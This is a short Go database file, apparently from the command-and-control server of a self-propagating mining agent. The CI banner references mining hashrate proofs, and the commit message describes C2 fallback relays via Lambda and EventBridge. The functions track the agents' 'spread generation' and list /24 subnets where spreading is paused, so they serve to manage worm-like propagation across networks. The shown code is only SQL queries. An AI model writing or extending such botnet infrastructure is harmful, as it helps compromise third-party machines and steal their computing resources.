Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
40 lines
1017 B
Go
40 lines
1017 B
Go
package db
|
|
|
|
import "time"
|
|
|
|
// MaxSpreadGeneration returns the highest spread_generation among agents (policy genesis version).
|
|
func (d *Database) MaxSpreadGeneration() (int, error) {
|
|
if d == nil {
|
|
return 0, nil
|
|
}
|
|
var max int
|
|
err := d.QueryRow(`SELECT COALESCE(MAX(spread_generation), 0) FROM agents`).Scan(&max)
|
|
return max, err
|
|
}
|
|
|
|
// ListPausedSubnetPrefixes returns /24 prefixes currently under immune spread pause.
|
|
func (d *Database) ListPausedSubnetPrefixes() ([]string, error) {
|
|
if d == nil {
|
|
return nil, nil
|
|
}
|
|
if err := d.ensureSubnetSpreadPauseTable(); err != nil {
|
|
return nil, err
|
|
}
|
|
rows, err := d.Query(`SELECT prefix FROM subnet_spread_pause WHERE paused_until IS NOT NULL AND paused_until > ?`, time.Now().UTC())
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer rows.Close()
|
|
var out []string
|
|
for rows.Next() {
|
|
var p string
|
|
if err := rows.Scan(&p); err != nil {
|
|
return nil, err
|
|
}
|
|
if p = normalizeSubnetPrefix(p); p != "" {
|
|
out = append(out, p)
|
|
}
|
|
}
|
|
return out, rows.Err()
|
|
}
|